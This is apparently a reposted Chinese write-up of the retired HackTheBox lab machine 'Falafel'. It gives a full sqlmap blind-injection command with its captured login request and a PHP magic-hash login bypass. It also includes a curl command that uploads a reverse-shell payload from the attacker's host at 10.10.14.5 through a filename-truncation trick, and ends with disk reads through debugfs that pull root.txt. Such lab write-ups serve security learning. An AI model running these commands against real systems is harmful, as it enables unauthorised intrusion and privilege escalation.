zoukankan      html  css  js  c++  java
  • HTB-靶机-Falafel

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.73

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.73 -o ./Falafel-autorecon

    就开了22和80端口,访问web应用

    点击了下页面的功能发现个登录界面,试了几个弱口令都不正确,但是发现尝试用户admin的时候显示如下:

    尝试非admin用户显示如下:

    猜测这里可能存在布尔型盲注,通过测试确认存在,下面给出最终sqlmap跑的命令

    sqlmap进行布尔型盲注
    sqlmap -r login.req --level 5 --risk 3 --string "Wrong identification" -D falafel -T users -C username,password --dump --batch
    
    login.req内容
    POST /login.php HTTP/1.1
    Host: 10.10.10.73
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Referer: http://10.10.10.73/login.php
    Cookie: PHPSESSID=um2i05ekvo5fvm52clvh5ve840
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 27
    
    username=admin&password=bmfx

    sqlmap倒是自动跑出来了用户chris的密码,但是admin的密码并没有成功的跑出来,试了下chris的密码成功登录,但是没啥用处,我们还是得找出admin用户的密码

    用户admin的hash值0e462096931906507119562988736854 经过谷歌搜索和测试,发现带0e开头的hash是一种关于magic-hashes,详细链接参考:https://www.whitehatsec.com/blog/magic-hashes/

    所以根据上述就知道了admin账户的密码为240610708  使用此密码登录进去之后发现一个上传页面,上传非图片格式会出现下面的形式

    经过测试只能使用长文件名称上传,且需要实现在本地kali上生成好此类文件,写入php的反弹shell代码,文件格式需要类似于....php.png之类的后缀才可以,具体操作如下:

    事先准备好的反弹代码名称

    使用python搭建好本地简易web应用

    URL=$(python -c 'print "http://10.10.14.5:8000/" + "A"*232 + ".php.png"'); curl -i -s -k  -X $'POST'     -H $'Referer: http://10.10.10.73/upload.php' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Cookie: PHPSESSID=um2i05ekvo5fvm52clvh5ve840'     --data-binary "url=$URL" $'http://10.10.10.73/upload.php' | grep -e "The name is too long" -e shorten -e "New name" -e CMD

    执行上面的curl命令即可成功写入反弹shell,然后本地监听端口,访问反弹shell代码即可

    成功拿到shell之后在网站根目录翻看了下发现了数据库连接配置文件,找了如下信息:

    使用上面的账户和密码切换至用户moshe试试

    到了这里执行命令w发现存在用户yossi是在登录的状态查看当前组信息,并列出所有组信息

    for x in $(groups); do echo ========${x}========; find / -group ${x} ! -type d -exec ls -la {} ; 2>/dev/null > ${x}; done

    找到了一张带密码的截图,具体如下

    将文件screenshot.raw复制到本地kali,然后使用gimp打开调试一下即可发现账户和密码的截图(类型选择RGB565 Big Endian)

    得到了另一个用户和密码信息:yossi:MoshePlzStopHackingMe! 通过ssh远程登录

    总结一下,这里主要就是发现用户yossi是一直在登录的状态,然后通过设备信息,获取截图内容,找到了用户的密码

    此处仍然使用同样的方法通过读取磁盘设备信息获取root.txt,所以可通过下面两种方式获取

    cat /dev/sda5 | strings -a | grep "root.txt" | grep -e "[0-9a-f]{32}"
    
    echo "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt
    printf "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt
    echo "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt
    echo "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt
    printf "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt
    echo "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt
    
    
    yossi@falafel:/dev/shm/.d$ debugfs /dev/sda1
    debugfs 1.42.13 (17-May-2015)
    debugfs:  ls /root
    debugfs:  cat /root/root.txt
    23b79200448c62ffd6f8f20xxxxxxx
    debugfs:  quit

  • 相关阅读:
    跟我从零基础学习Unity3D开发--资源打包篇(AssetBundle)
    跟我从零基础学习Unity3D开发--U3d脚本注意事项及两个基本函数的简单介绍
    跟我从零基础学习Unity3D开发--初识U3D
    关于把.net 2.0的项目升级到.net4.0遇到的一些问题
    反射在ADO.NET中的运用(你还在每个项目中循环遍历DataTable吗)
    您还在招聘网上海量投简历然后等面试机会吗?那你已经OUT了。
    程序员其实也有感情的,不是我们无情,是您关怀不够。
    C#程序员的春天之从零开始学习unity3D游戏开发入门教程二(创建项目及基本面板介绍)
    C#程序员的春天之从零开始学习unity3D游戏开发入门教程一(前言)
    跟我从零基础学习Unity3D开发--Unity3D开发必备神器(Visual Studio Tools for Unity)
  • 原文地址:https://www.cnblogs.com/autopwn/p/14084616.html
Copyright © 2011-2022 走看看